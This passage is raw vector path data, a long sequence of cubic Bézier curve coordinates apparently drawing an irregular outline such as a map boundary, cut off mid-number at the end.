131590.00 112954.00C131611.33 112943.33 131632.67 112932.67 131654.00 112922.00C131675.67 112922.00 131697.33 112922.00 131719.00 112922.00C131740.45 112932.69 131761.85 112943.50 131783.33 112954.11C131815.22 112964.74 131847.11 112975.37 131879.00 112986.00C131911.33 112975.33 131943.67 112964.67 131976.00 112954.00C131997.33 112964.67 132018.67 112975.33 132040.00 112986.00C132059.98 113026.09 132080.08 113066.12 132100.44 113106.02C132102.76 113110.01 132103.99 113114.78 132107.73 113117.73C132138.82 113148.82 132169.91 113179.91 132201.00 113211.00C132222.37 113243.44 132243.84 113275.83 132265.16 113308.31C132275.77 113329.54 132286.39 113350.77 132297.00 113372.00C132297.00 113425.67 132297.00 113479.33 132297.00 113533.00C132275.67 113533.00 132254.33 113533.00 132233.00 113533.00C132233.00 113565.00 132233.00 113597.00 132233.00 113629.00C132243.67 113629.00 132254.33 113629.00 132265.00 113629.00C132265.00 113650.67 132265.00 113672.33 132265.00 113694.00C132243.67 113715.33 132222.33 113736.67 132201.00 113758.00C132179.67 113758.00 132158.33 113758.00 132137.00 113758.00C132137.00 113768.67 132137.00 113779.33 132137.00 113790.00C132126.33 113790.00 132115.67 113790.00 132105.00 113790.00C132094.00 113800.67 132083.00 113811.33 132072.00 113822.00C132072.00 113843.33 132072.00 113864.67 132072.00 113886.00C132061.33 113907.67 132050.67 113929.33 132040.00 113951.00C132008.00 113983.00 131976.00 114015.00 131944.00 114047.00C131944.00 114057.67 131944.00 114068.33 131944.00 114079.00C131954.67 114090.00 131965.33 114101.00 131976.00 114112.00C131976.00 114122.67 131976.00 114133.33 131976.00 114144.00C131965.33 114154.67 131954.67 114165.33 131944.00 114176.00C131944.00 114186.67 131944.00 114197.33 131944.00 114208.00C131922.33 114218.67 131900.67 114229.33 131879.00 114240.00C131879.00 114250.67 131879.00 114261.33 131879.00 114272.00C131890.00 114282.67 131901.00 114293.33 131912.00 114304.00C131901.00 114315.00 131890.00 114326.00 131879.00 114337.00C131868.33 114337.00 131857.67 114337.00 131847.00 114337.00C131868.67 114347.67 131890.33 114358.33 131912.00 114369.00C131901.00 114369.00 131890.00 114369.00 131879.00 114369.00C131847.00 114401.00 131815.00 114433.00 131783.00 114465.00C131793.69 114475.79 131804.62 114486.41 131815.16 114497.31C131825.77 114518.88 131836.39 114540.44 131847.00 114562.00C131847.00 114583.33 131847.00 114604.67 131847.00 114626.00C131857.67 114636.67 131868.33 114647.33 131879.00 114658.00C131868.33 114679.33 131857.67 114700.67 131847.00 114722.00C131857.67 114733.00 131868.33 114744.00 131879.00 114755.00C131868.33 114755.00 131857.67 114755.00 131847.00 114755.00C131857.67 114765.67 131868.33 114776.33 131879.00 114787.00C131890.00 114787.00 131901.00 114787.00 131912.00 114787.00C131922.67 114797.67 131933.33 114808.33 131944.00 114819.00C131933.33 114829.67 131922.67 114840.33 131912.00 114851.00C131922.67 114851.00 131933.33 114851.00 131944.00 114851.00C131933.33 114861.67 131922.67 114872.33 131912.00 114883.00C131922.67 114893.67 131933.33 114904.33 131944.00 114915.00C131933.33 114915.00 131922.67 114915.00 131912.00 114915.00C131922.67 114925.67 131933.33 114936.33 131944.00 114947.00C131944.00 114958.00 131944.00 114969.00 131944.00 114980.00C131954.67 114980.00 131965.33 114980.00 131976.00 114980.00C131976.00 115001.33 131976.00 115022.67 131976.00 115044.00C132008.00 115065.33 132040.00 115086.67 132072.00 115108.00C132072.00 115129.67 132072.00 115151.33 132072.00 115173.00C132061.33 115173.00 132050.67 115173.00 132040.00 115173.00C132040.00 115205.00 132040.00 115237.00 132040.00 115269.00C132050.67 115269.00 132061.33 115269.00 132072.00 115269.00C132072.00 115279.67 132072.00 115290.33 132072.00 115301.00C132093.67 115311.67 132115.33 115322.33 132137.00 115333.00C132147.67 115344.00 132158.33 115355.00 132169.00 115366.00C132158.33 115376.67 132147.67 115387.33 132137.00 115398.00C132147.67 115408.67 132158.33 115419.33 132169.00 115430.00C132158.33 115430.00 132147.67 115430.00 132137.00 115430.00C132147.67 115430.00 132158.33 115430.00 132169.00 115430.00C132179.67 115451.33 132190.33 115472.67 132201.00 115494.00C132201.00 115515.33 132201.00 115536.67 132201.00 115558.00C132190.33 115569.00 132179.67 115580.00 132169.00 115591.00C132147.67 115591.00 132126.33 115591.00 132105.00 115591.00C132115.67 115612.33 132126.33 115633.67 132137.00 115655.00C132115.33 115644.33 132093.67 115633.67 132072.00 115623.00C132061.33 115623.00 132050.67 115623.00 132040.00 115623.00C132007.93 115644.43 131975.75 115665.73 131943.75 115687.25C131933.17 115697.83 131922.58 115708.42 131912.00 115719.00C131890.33 115708.33 131868.67 115697.67 131847.00 115687.00C131847.00 115708.33 131847.00 115729.67 131847.00 115751.00C131857.67 115751.00 131868.33 115751.00 131879.00 115751.00C131879.00 115761.67 131879.00 115772.33 131879.00 115783.00C131857.67 115794.00 131836.33 115805.00 131815.00 115816.00C131815.00 115826.67 131815.00 115837.33 131815.00 115848.00C131793.67 115848.00 131772.33 115848.00 131751.00 115848.00C131740.33 115858.67 131729.67 115869.33 131719.00 115880.00C131708.33 115869.33 131697.67 115858.67 131687.00 115848.00C131687.00 115869.33 131687.00 115890.67 131687.00 115912.00C131665.33 115922.67 131643.67 115933.33 131622.00 115944.00C131643.67 115944.00 131665.33 115944.00 131687.00 115944.00C131687.00 115954.67 131687.00 115965.33 131687.00 115976.00C131665.33 115976.00 131643.67 115976.00 131622.00 115976.00C131611.33 115987.00 131600.67 115998.00 131590.00 116009.00C131590.00 115998.00 131590.00 115987.00 131590.00 115976.00C131568.67 115976.00 131547.33 115976.00 131526.00 115976.00C131515.33 115997.67 131504.67 116019.33 131494.00 116041.00C131504.67 116051.67 131515.33 116062.33 131526.00 116073.00C131526.00 116083.67 131526.00 116094.33 131526.00 116105.00C131515.33 116105.00 131504.67 116105.00 131494.00 116105.00C131483.00 116094.33 131472.00 116083.67 131461.00 116073.00C131450.33 116073.00 131439.67 116073.00 131429.00 116073.00C131407.67 116094.33 131386.33 116115.67 131365.00 116137.00C131354.33 116137.00 131343.67 116137.00 131333.00 116137.00C131333.00 116147.67 131333.00 116158.33 131333.00 116169.00C131311.67 116158.33 131290.33 116147.67 131269.00 116137.00C131269.00 116147.67 131269.00 116158.33 131269.00 116169.00C131258.00 116180.00 131247.00 116191.00 131236.00 116202.00C131247.00 116212.67 131258.00 116223.33 131269.00 116234.00C131258.00 116234.00 131247.00 116234.00 131236.00 116234.00C131225.33 116244.67 131214.67 116255.33 131204.00 116266.00C131193.33 116255.33 131182.67 116244.67 131172.00 116234.00C131150.67 116244.67 131129.33 116255.33 131108.00 116266.00C131108.00 116287.33 131108.00 116308.67 131108.00 116330.00C131086.33 116340.67 131064.67 116351.33 131043.00 116362.00C131043.00 116383.67 131043.00 116405.33 131043.00 116427.00C131032.33 116416.00 131021.67 116405.00 131011.00 116394.00C131011.00 116340.67 131011.00 116287.33 131011.00 116234.00C131000.33 116234.00 130989.67 116234.00 130979.00 116234.00C130957.67 116255.33 130936.33 116276.67 130915.00 116298.00C130904.33 116298.00 130893.67 116298.00 130883.00 116298.00C130872.33 116319.33 130861.67 116340.67 130851.00 116362.00C130840.00 116372.67 130829.00 116383.33 130818.00 116394.00C130796.67 116394.00 130775.33 116394.00 130754.00 116394.00C130775.33 116405.00 130796.67 116416.00 130818.00 116427.00C130796.67 116427.00 130775.33 116427.00 130754.00 116427.00C130732.67 116448.33 130711.33 116469.67 130690.00 116491.00C130690.00 116523.00 130690.00 116555.00 130690.00 116587.00C130679.33 116576.33 130668.67 116565.67 130658.00 116555.00C130658.00 116544.33 130658.00 116533.67 130658.00 116523.00C130636.33 116533.67 130614.67 116544.33 130593.00 116555.00C130603.67 116576.33 130614.33 116597.67 130625.00 116619.00C130603.67 116630.00 130582.33 116641.00 130561.00 116652.00C130550.33 116662.67 130539.67 116673.33 130529.00 116684.00C130539.69 116694.79 130550.62 116705.41 130561.16 116716.31C130571.77 116737.54 130582.39 116758.77 130593.00 116780.00C130614.67 116790.67 130636.33 116801.33 130658.00 116812.00C130636.33 116833.67 130614.67 116855.33 130593.00 116877.00C130593.00 116887.67 130593.00 116898.33 130593.00 116909.00C130582.33 116909.00 130571.67 116909.00 130561.00 116909.00C130539.67 116919.67 130518.33 116930.33 130497.00 116941.00C130497.00 116930.33 130497.00 116919.67 130497.00 116909.00C130486.33 116898.33 130475.67 116887.67 130465.00 116877.00C130454.33 116877.00 130443.67 116877.00 130433.00 116877.00C130411.33 116930.67 130389.67 116984.33 130368.00 117038.00C130346.67 117038.00 130325.33 117038.00 130304.00 117038.00C130304.00 117048.67 130304.00 117059.33 130304.00 117070.00C130282.67 117091.33 130261.33 117112.67 130240.00 117134.00C130218.33 117134.00 130196.67 117134.00 130175.00 117134.00C130175.00 117112.67 130175.00 117091.33 130175.00 117070.00C130132.33 117070.00 130089.67 117070.00 130047.00 117070.00C130057.67 117091.33 130068.33 117112.67 130079.00 117134.00C130068.33 117134.00 130057.67 117134.00 130047.00 117134.00C130036.31 117144.79 130025.38 117155.41 130014.84 117166.31C130003.89 117187.54 129992.95 117208.77 129982.00 117230.00C129993.00 117241.00 130004.00 117252.00 130015.00 117263.00C130015.00 117273.67 130015.00 117284.33 130015.00 117295.00C129993.33 117295.00 129971.67 117295.00 129950.00 117295.00C129939.21 117305.69 129928.59 117316.62 129917.69 117327.16C129896.46 117337.77 129875.23 117348.39 129854.00 117359.00C129843.33 117348.33 129832.67 117337.67 129822.00 117327.00C129811.00 117327.00 129800.00 117327.00 129789.00 117327.00C129778.33 117316.33 129767.67 117305.67 129757.00 117295.00C129767.67 117284.33 129778.33 117273.67 129789.00 117263.00C129778.33 117263.00 129767.67 117263.00 129757.00 117263.00C129746.33 117252.00 129735.67 117241.00 129725.00 117230.00C129714.21 117241.02 129703.60 117252.29 129692.69 117263.16C129671.46 117273.77 129650.23 117284.39 129629.00 117295.00C129629.00 117316.33 129629.00 117337.67 129629.00 117359.00C129618.33 117380.33 129607.67 117401.67 129597.00 117423.00C129607.67 117433.67 129618.33 117444.33 129629.00 117455.00C129629.00 117466.00 129629.00 117477.00 129629.00 117488.00C129618.33 117488.00 129607.67 117488.00 129597.00 117488.00C129575.33 117477.00 129553.67 117466.00 129532.00 117455.00C129521.33 117444.33 129510.67 117433.67 129500.00 117423.00C129489.33 117433.67 129478.67 117444.33 129468.00 117455.00C129468.00 117466.00 129468.00 117477.00 129468.00 117488.00C129457.33 117498.67 129446.67 117509.33 129436.00 117520.00C129446.67 117530.67 129457.33 117541.33 129468.00 117552.00C129468.00 117562.67 129468.00 117573.33 129468.00 117584.00C129457.33 117594.67 129446.67 117605.33 129436.00 117616.00C129425.33 117616.00 129414.67 117616.00 129404.00 117616.00C129393.33 117605.33 129382.67 117594.67 129372.00 117584.00C129361.00 117594.67 129350.00 117605.33 129339.00 117616.00C129296.33 117594.67 129253.67 117573.33 129211.00 117552.00C129200.33 117562.67 129189.67 117573.33 129179.00 117584.00C129168.00 117616.33 129157.00 117648.67 129146.00 117681.00C129135.33 117681.00 129124.67 117681.00 129114.00 117681.00C129092.67 117691.67 129071.33 117702.33 129050.00 117713.00C129039.33 117723.67 129028.67 117734.33 129018.00 117745.00C129007.33 117734.33 128996.67 117723.67 128986.00 117713.00C128986.00 117680.67 128986.00 117648.33 128986.00 117616.00C128964.33 117616.00 128942.67 117616.00 128921.00 117616.00C128921.00 117562.33 128921.00 117508.67 128921.00 117455.00C128889.00 117476.67 128857.00 117498.33 128825.00 117520.00C128814.33 117520.00 128803.67 117520.00 128793.00 117520.00C128782.33 117509.33 128771.67 117498.67 128761.00 117488.00C128761.00 117477.00 128761.00 117466.00 128761.00 117455.00C128720.84 117435.29 128680.72 117415.47 128640.75 117395.37C128637.83 117393.76 128634.50 117392.56 128631.84 117390.69C128621.23 117369.46 128610.61 117348.23 128600.00 117327.00C128589.33 117316.33 128578.67 117305.67 128568.00 117295.00C128557.33 117295.00 128546.67 117295.00 128536.00 117295.00C128525.00 117316.33 128514.00 117337.67 128503.00 117359.00C128492.33 117369.67 128481.67 117380.33 128471.00 117391.00C128439.00 117391.00 128407.00 117391.00 128375.00 117391.00C128342.57 117380.27 128310.09 117369.66 128277.69 117358.84C128256.34 117348.21 128235.05 117337.45 128213.67 117326.89C128181.44 117316.26 128149.22 117305.63 128117.00 117295.00C128117.00 117273.33 128117.00 117251.67 128117.00 117230.00C128095.67 117208.67 128074.33 117187.33 128053.00 117166.00C128053.00 117144.67 128053.00 117123.33 128053.00 117102.00C128031.67 117102.00 128010.33 117102.00 127989.00 117102.00C127956.67 117091.33 127924.33 117080.67 127892.00 117070.00C127849.33 117070.00 127806.67 117070.00 127764.00 117070.00C127753.33 117059.33 127742.67 117048.67 127732.00 117038.00C127732.00 117016.33 127732.00 116994.67 127732.00 116973.00C127689.00 116973.00 127646.00 116973.00 127603.00 116973.00C127592.33 116951.67 127581.67 116930.33 127571.00 116909.00C127549.67 116909.00 127528.33 116909.00 127507.00 116909.00C127485.23 116930.39 127463.54 116951.88 127441.72 116973.21C127399.15 117005.47 127356.57 117037.74 127314.00 117070.00C127314.00 117080.67 127314.00 117091.33 127314.00 117102.00C127335.33 117112.67 127356.67 117123.33 127378.00 117134.00C127378.00 117144.67 127378.00 117155.33 127378.00 117166.00C127345.67 117166.00 127313.33 117166.00 127281.00 117166.00C127270.33 117144.67 127259.67 117123.33 127249.00 117102.00C127227.67 117102.00 127206.33 117102.00 127185.00 117102.00C127174.33 117091.33 127163.67 117080.67 127153.00 117070.00C127131.67 117080.67 127110.33 117091.33 127089.00 117102.00C127024.67 117102.00 126960.33 117102.00 126896.00 117102.00C126896.00 117080.67 126896.00 117059.33 126896.00 117038.00C126874.33 117038.00 126852.67 117038.00 126831.00 117038.00C126809.67 117048.67 126788.33 117059.33 126767.00 117070.00C126745.67 117059.33 126724.33 117048.67 126703.00 117038.00C126649.33 117070.00 126595.67 117102.00 126542.00 117134.00C126531.33 117123.33 126520.67 117112.67 126510.00 117102.00C126520.67 117080.67 126531.33 117059.33 126542.00 117038.00C126531.33 117027.00 126520.67 117016.00 126510.00 117005.00C126499.33 117005.00 126488.67 117005.00 126478.00 117005.00C126445.67 117026.67 126413.33 117048.33 126381.00 117070.00C126359.67 117048.33 126338.33 117026.67 126317.00 117005.00C126284.67 117005.00 126252.33 117005.00 126220.00 117005.00C126209.33 116994.33 126198.67 116983.67 126188.00 116973.00C126188.00 116951.67 126188.00 116930.33 126188.00 116909.00C126177.33 116898.33 126166.67 116887.67 126156.00 116877.00C126124.00 116877.00 126092.00 116877.00 126060.00 116877.00C126049.33 116887.67 126038.67 116898.33 126028.00 116909.00C126016.77 116908.92 126005.52 116909.15 125994.31 116908.89C125930.20 116898.26 125866.10 116887.63 125802.00 116877.00C125791.33 116887.67 125780.67 116898.33 125770.00 116909.00C125770.00 116930.33 125770.00 116951.67 125770.00 116973.00C125705.67 116973.00 125641.33 116973.00 125577.00 116973.00C125555.67 116983.67 125534.33 116994.33 125513.00 117005.00C125491.67 116994.33 125470.33 116983.67 125449.00 116973.00C125416.67 116983.67 125384.33 116994.33 125352.00 117005.00C125320.00 116994.33 125288.00 116983.67 125256.00 116973.00C125223.67 116994.67 125191.33 117016.33 125159.00 117038.00C125137.67 117027.00 125116.33 117016.00 125095.00 117005.00C125073.67 117016.00 125052.33 117027.00 125031.00 117038.00C125009.33 117070.00 124987.67 117102.00 124966.00 117134.00C124944.67 117134.00 124923.33 117134.00 124902.00 117134.00C124891.33 117080.33 124880.67 117026.67 124870.00 116973.00C124859.33 116962.33 124848.67 116951.67 124838.00 116941.00C124784.33 116930.33 124730.67 116919.67 124677.00 116909.00C124666.33 116887.67 124655.67 116866.33 124645.00 116845.00C124602.00 116845.00 124559.00 116845.00 124516.00 116845.00C124505.33 116823.33 124494.67 116801.67 124484.00 116780.00C124452.00 116780.00 124420.00 116780.00 124388.00 116780.00C124355.67 116812.33 124323.33 116844.67 124291.00 116877.00C124269.67 116887.67 124248.33 116898.33 124227.00 116909.00C124216.33 116919.67 124205.67 116930.33 124195.00 116941.00C124184.33 116941.00 124173.67 116941.00 124163.00 116941.00C124163.00 116973.33 124163.00 117005.67 124163.00 117038.00C124152.33 117038.00 124141.67 117038.00 124131.00 117038.00C124120.00 117059.33 124109.00 117080.67 124098.00 117102.00C124087.23 117101.93 124076.41 117102.15 124065.67 117101.89C124033.78 117091.26 124001.89 117080.63 123970.00 117070.00C123937.67 117091.33 123905.33 117112.67 123873.00 117134.00C123873.00 117155.33 123873.00 117176.67 123873.00 117198.00C123862.33 117219.67 123851.67 117241.33 123841.00 117263.00C123798.00 117284.33 123755.00 117305.67 123712.00 117327.00C123712.00 117316.33 123712.00 117305.67 123712.00 117295.00C123690.67 117295.00 123669.33 117295.00 123648.00 117295.00C123637.33 117284.33 123626.67 117273.67 123616.00 117263.00C123594.67 117263.00 123573.33 117263.00 123552.00 117263.00C123552.00 117252.00 123552.00 117241.00 123552.00 117230.00C123562.67 117219.33 123573.33 117208.67 123584.00 117198.00C123584.00 117187.33 123584.00 117176.67 123584.00 117166.00C123551.67 117166.00 123519.33 117166.00 123487.00 117166.00C123444.26 117198.43 123401.44 117230.76 123358.75 117263.25C123348.17 117273.83 123337.58 117284.42 123327.00 117295.00C123284.00 117305.67 123241.00 117316.33 123198.00 117327.00C123166.00 117316.33 123134.00 117305.67 123102.00 117295.00C123091.00 117305.67 123080.00 117316.33 123069.00 117327.00C123069.00 117337.67 123069.00 117348.33 123069.00 117359.00C123101.33 117380.33 123133.67 117401.67 123166.00 117423.00C123166.00 117444.67 123166.00 117466.33 123166.00 117488.00C123155.21 117498.69 123144.59 117509.62 123133.69 117520.16C123112.12 117530.77 123090.56 117541.39 123069.00 117552.00C123047.67 117573.33 123026.33 117594.67 123005.00 117616.00C122983.64 117659.12 122962.17 117702.18 122940.89 117745.33C122930.26 117777.22 122919.63 117809.11 122909.00 117841.00C122876.67 117852.00 122844.33 117863.00 122812.00 117874.00C122801.33 117874.00 122790.67 117874.00 122780.00 117874.00C122758.67 117895.33 122737.33 117916.67 122716.00 117938.00C122705.33 117970.00 122694.67 118002.00 122684.00 118034.00C122673.00 118044.67 122662.00 118055.33 122651.00 118066.00C122619.00 118055.33 122587.00 118044.67 122555.00 118034.00C122544.33 118034.00 122533.67 118034.00 122523.00 118034.00C122501.67 118087.67 122480.33 118141.33 122459.00 118195.00C122426.67 118227.00 122394.33 118259.00 122362.00 118291.00C122351.33 118323.33 122340.67 118355.67 122330.00 118388.00C122319.33 118398.67 122308.67 118409.33 122298.00 118420.00C122265.67 118430.67 122233.33 118441.33 122201.00 118452.00C122179.67 118441.33 122158.33 118430.67 122137.00 118420.00C122126.33 118420.00 122115.67 118420.00 122105.00 118420.00C122083.67 118366.33 122062.33 118312.67 122041.00 118259.00C121965.67 118184.00 121890.33 118109.00 121815.00 118034.00C121804.33 118002.00 121793.67 117970.00 121783.00 117938.00C121783.00 117873.67 121783.00 117809.33 121783.00 117745.00C121772.33 117734.33 121761.67 117723.67 121751.00 117713.00C121740.23 117712.93 121729.41 117713.15 121718.67 117712.89C121686.78 117702.26 121654.89 117691.63 121623.00 117681.00C121601.33 117691.67 121579.67 117702.33 121558.00 117713.00C121547.33 117713.00 121536.67 117713.00 121526.00 117713.00C121515.33 117723.67 121504.67 117734.33 121494.00 117745.00C121504.67 117788.00 121515.33 117831.00 121526.00 117874.00C121515.33 117884.67 121504.67 117895.33 121494.00 117906.00C121494.00 117916.67 121494.00 117927.33 121494.00 117938.00C121483.33 117938.00 121472.67 117938.00 121462.00 117938.00C121451.33 117948.67 121440.67 117959.33 121430.00 117970.00C121408.33 117959.33 121386.67 117948.67 121365.00 117938.00C121279.33 117948.67 121193.67 117959.33 121108.00 117970.00C121076.00 117980.67 121044.00 117991.33 121012.00 118002.00C121012.00 118012.67 121012.00 118023.33 121012.00 118034.00C121001.00 118044.67 120990.00 118055.33 120979.00 118066.00C121011.33 118098.33 121043.67 118130.67 121076.00 118163.00C121065.33 118184.33 121054.67 118205.67 121044.00 118227.00C121033.33 118227.00 121022.67 118227.00 121012.00 118227.00C120979.67 118205.67 120947.33 118184.33 120915.00 118163.00C120883.00 118163.00 120851.00 118163.00 120819.00 118163.00C120797.15 118173.82 120775.19 118184.43 120753.42 118195.39C120721.50 118216.63 120689.64 118237.98 120657.69 118259.16C120636.46 118269.77 120615.23 118280.39 120594.00 118291.00C120583.00 118291.00 120572.00 118291.00 120561.00 118291.00C120539.67 118280.33 120518.33 118269.67 120497.00 118259.00C120475.67 118269.67 120454.33 118280.33 120433.00 118291.00C120413.29 118331.16 120393.47 118371.28 120373.37 118411.25C120371.92 118414.17 120370.46 118417.08 120369.00 118420.00C120347.33 118420.00 120325.67 118420.00 120304.00 118420.00C120272.00 118409.33 120240.00 118398.67 120208.00 118388.00C120175.67 118388.00 120143.33 118388.00 120111.00 118388.00C120089.67 118366.67 120068.33 118345.33 120047.00 118324.00C120025.67 118324.00 120004.33 118324.00 119983.00 118324.00C119967.62 118308.28 119952.63 118292.18 119936.64 118277.07C119930.42 118271.05 119924.21 118265.02 119918.00 118259.00C119907.33 118259.00 119896.67 118259.00 119886.00 118259.00C119854.00 118280.67 119822.00 118302.33 119790.00 118324.00C119746.89 118323.96 119703.76 118324.08 119660.65 118323.94C119596.44 118312.96 119532.22 118301.98 119468.00 118291.00C119457.33 118269.67 119446.67 118248.33 119436.00 118227.00C119361.00 118227.00 119286.00 118227.00 119211.00 118227.00C119200.33 118237.67 119189.67 118248.33 119179.00 118259.00C119157.67 118312.67 119136.33 118366.33 119115.00 118420.00C119090.40 118444.35 119065.53 118468.44 119041.11 118492.98C119012.07 118522.32 118983.04 118551.66 118954.00 118581.00C118825.33 118559.67 118696.67 118538.33 118568.00 118517.00C118514.33 118549.00 118460.67 118581.00 118407.00 118613.00C118374.89 118612.95 118342.76 118613.09 118310.66 118612.93C118257.10 118602.29 118203.55 118591.64 118150.00 118581.00C118117.57 118591.73 118085.09 118602.34 118052.69 118613.16C118031.46 118623.77 118010.23 118634.39 117989.00 118645.00C117978.21 118655.69 117967.59 118666.62 117956.69 118677.16C117935.46 118687.77 117914.23 118698.39 117893.00 118709.00C117871.28 118730.77 117849.44 118752.45 117827.80 118774.29C117774.53 118849.19 117721.27 118924.10 117668.00 118999.00C117635.67 119084.67 117603.33 119170.33 117571.00 119256.00C117560.33 119266.67 117549.67 119277.33 117539.00 119288.00C117517.67 119288.00 117496.33 119288.00 117475.00 119288.00C117442.67 119298.67 117410.33 119309.33 117378.00 119320.00C117367.33 119331.00 117356.67 119342.00 117346.00 119353.00C117345.92 119363.77 117346.16 119374.60 117345.88 119385.33C117313.92 119470.89 117281.96 119556.44 117250.00 119642.00C117217.67 119685.00 117185.33 119728.00 117153.00 119771.00C117142.33 119771.00 117131.67 119771.00 117121.00 119771.00C117056.64 119802.95 116992.22 119834.78 116928.00 119867.00C116928.00 119888.33 116928.00 119909.67 116928.00 119931.00C116949.33 119984.67 116970.67 120038.33 116992.00 120092.00C116981.33 120124.33 116970.67 120156.67 116960.00 120189.00C116970.67 120199.67 116981.33 120210.33 116992.00 120221.00C116992.00 120263.67 116992.00 120306.33 116992.00 120349.00C116949.29 120413.45 116906.49 120477.83 116863.84 120542.31C116842.56 120585.21 116821.28 120628.10 116800.00 120671.00C116789.00 120671.00 116778.00 120671.00 116767.00 120671.00C116767.00 120681.67 116767.00 120692.33 116767.00 120703.00C116724.33 120724.33 116681.67 120745.67 116639.00 120767.00C116617.33 120788.67 116595.67 120810.33 116574.00 120832.00C116434.67 120832.00 116295.33 120832.00 116156.00 120832.00C116145.33 120842.67 116134.67 120853.33 116124.00 120864.00C116134.67 120896.00 116145.33 120928.00 116156.00 120960.00C116145.33 120981.33 116134.67 121002.67 116124.00 121024.00C116038.33 121045.67 115952.67 121067.33 115867.00 121089.00C115856.33 121110.33 115845.67 121131.67 115835.00 121153.00C115835.00 121185.33 115835.00 121217.67 115835.00 121250.00C115824.24 121271.42 115813.64 121292.92 115802.79 121314.28C115770.53 121356.85 115738.26 121399.43 115706.00 121442.00C115674.00 121442.00 115642.00 121442.00 115610.00 121442.00C115567.00 121485.00 115524.00 121528.00 115481.00 121571.00C115459.67 121603.33 115438.33 121635.67 115417.00 121668.00C115417.00 121678.67 115417.00 121689.33 115417.00 121700.00C115406.33 121721.33 115395.67 121742.67 115385.00 121764.00C115385.00 121796.00 115385.00 121828.00 115385.00 121860.00C115363.33 121892.33 115341.67 121924.67 115320.00 121957.00C115309.33 122000.00 115298.67 122043.00 115288.00 122086.00C115266.67 122107.33 115245.33 122128.67 115224.00 122150.00C115224.00 122160.67 115224.00 122171.33 115224.00 122182.00C115213.33 122203.33 115202.67 122224.67 115192.00 122246.00C115202.97 122256.86 115213.73 122267.94 115224.82 122278.66C115278.21 122321.44 115331.61 122364.22 115385.00 122407.00C115406.33 122439.33 115427.67 122471.67 115449.00 122504.00C115449.00 122514.67 115449.00 122525.33 115449.00 122536.00C115427.67 122557.33 115406.33 122578.67 115385.00 122600.00C115374.23 122599.93 115363.41 122600.15 115352.67 122599.89C115256.01 122567.88 115159.32 122535.92 115062.67 122503.87C115009.45 122482.25 114956.22 122460.62 114903.00 122439.00C114903.00 122428.33 114903.00 122417.67 114903.00 122407.00C114884.25 122388.86 114865.49 122370.73 114847.17 122352.17C114822.65 122327.57 114798.40 122302.71 114774.00 122278.00C114741.67 122278.00 114709.33 122278.00 114677.00 122278.00C114677.00 122246.00 114677.00 122214.00 114677.00 122182.00C114645.00 122182.00 114613.00 122182.00 114581.00 122182.00C114591.67 122171.33 114602.33 122160.67 114613.00 122150.00C114602.33 122139.33 114591.67 122128.67 114581.00 122118.00C114570.33 122128.67 114559.67 122139.33 114549.00 122150.00C114516.67 122139.33 114484.33 122128.67 114452.00 122118.00C114473.67 122107.33 114495.33 122096.67 114517.00 122086.00C114517.00 122075.00 114517.00 122064.00 114517.00 122053.00C114506.00 122042.33 114495.00 122031.67 114484.00 122021.00C114473.33 121989.00 114462.67 121957.00 114452.00 121925.00C114441.33 121925.00 114430.67 121925.00 114420.00 121925.00C114420.00 121903.33 114420.00 121881.67 114420.00 121860.00C114388.00 121828.00 114356.00 121796.00 114324.00 121764.00C114313.33 121774.67 114302.67 121785.33 114292.00 121796.00C114292.00 121785.33 114292.00 121774.67 114292.00 121764.00C114259.67 121742.67 114227.33 121721.33 114195.00 121700.00C114195.00 121689.33 114195.00 121678.67 114195.00 121668.00C114163.00 121668.00 114131.00 121668.00 114099.00 121668.00C114088.33 121657.00 114077.67 121646.00 114067.00 121635.00C114045.33 121635.00 114023.67 121635.00 114002.00 121635.00C113980.67 121613.67 113959.33 121592.33 113938.00 121571.00C113895.00 121571.00 113852.00 121571.00 113809.00 121571.00C113787.67 121560.33 113766.33 121549.67 113745.00 121539.00C113734.33 121517.67 113723.67 121496.33 113713.00 121475.00C113691.67 121475.00 113670.33 121475.00 113649.00 121475.00C113649.00 121464.00 113649.00 121453.00 113649.00 121442.00C113638.00 121453.00 113627.00 121464.00 113616.00 121475.00C113605.33 121464.00 113594.67 121453.00 113584.00 121442.00C113562.67 121442.00 113541.33 121442.00 113520.00 121442.00C113520.00 121453.00 113520.00 121464.00 113520.00 121475.00C113498.67 121475.00 113477.33 121475.00 113456.00 121475.00C113445.00 121485.67 113434.00 121496.33 113423.00 121507.00C113412.33 121496.33 113401.67 121485.67 113391.00 121475.00C113359.00 121464.00 113327.00 121453.00 113295.00 121442.00C113295.00 121420.67 113295.00 121399.33 113295.00 121378.00C113284.33 121388.67 113273.67 121399.33 113263.00 121410.00C113244.75 121391.70 113226.49 121373.40 113207.82 121355.52C113204.55 121352.35 113201.27 121349.17 113198.00 121346.00C113187.33 121346.00 113176.67 121346.00 113166.00 121346.00C113166.00 121314.00 113166.00 121282.00 113166.00 121250.00C113123.33 121250.00 113080.67 121250.00 113038.00 121250.00C113016.33 121239.00 112994.67 121228.00 112973.00 121217.00C112941.00 121228.00 112909.00 121239.00 112877.00 121250.00C112877.00 121239.00 112877.00 121228.00 112877.00 121217.00C112866.33 121206.33 112855.67 121195.67 112845.00 121185.00C112845.00 121163.67 112845.00 121142.33 112845.00 121121.00C112812.67 121121.00 112780.33 121121.00 112748.00 121121.00C112737.33 121110.33 112726.67 121099.67 112716.00 121089.00C112705.33 121089.00 112694.67 121089.00 112684.00 121089.00C112684.00 121078.33 112684.00 121067.67 112684.00 121057.00C112673.33 121057.00 112662.67 121057.00 112652.00 121057.00C112662.67 121046.00 112673.33 121035.00 112684.00 121024.00C112673.33 121024.00 112662.67 121024.00 112652.00 121024.00C112641.33 121013.33 112630.67 121002.67 112620.00 120992.00C112587.67 120992.00 112555.33 120992.00 112523.00 120992.00C112512.33 120981.33 112501.67 120970.67 112491.00 120960.00C112480.33 120960.00 112469.67 120960.00 112459.00 120960.00C112448.33 120970.67 112437.67 120981.33 112427.00 120992.00C112405.33 120970.67 112383.67 120949.33 112362.00 120928.00C112351.33 120938.67 112340.67 120949.33 112330.00 120960.00C112308.67 120960.00 112287.33 120960.00 112266.00 120960.00C112255.33 120949.33 112244.67 120938.67 112234.00 120928.00C112234.00 120917.33 112234.00 120906.67 112234.00 120896.00C112223.23 120895.93 112212.41 120896.15 112201.67 120895.89C112169.44 120885.26 112137.22 120874.63 112105.00 120864.00C112073.00 120864.00 112041.00 120864.00 112009.00 120864.00C111998.33 120853.33 111987.67 120842.67 111977.00 120832.00C111944.67 120832.00 111912.33 120832.00 111880.00 120832.00C111880.00 120821.00 111880.00 120810.00 111880.00 120799.00C111858.67 120799.00 111837.33 120799.00 111816.00 120799.00C111805.20 120810.02 111794.60 120821.30 111783.69 120832.16C111762.12 120842.77 111740.56 120853.39 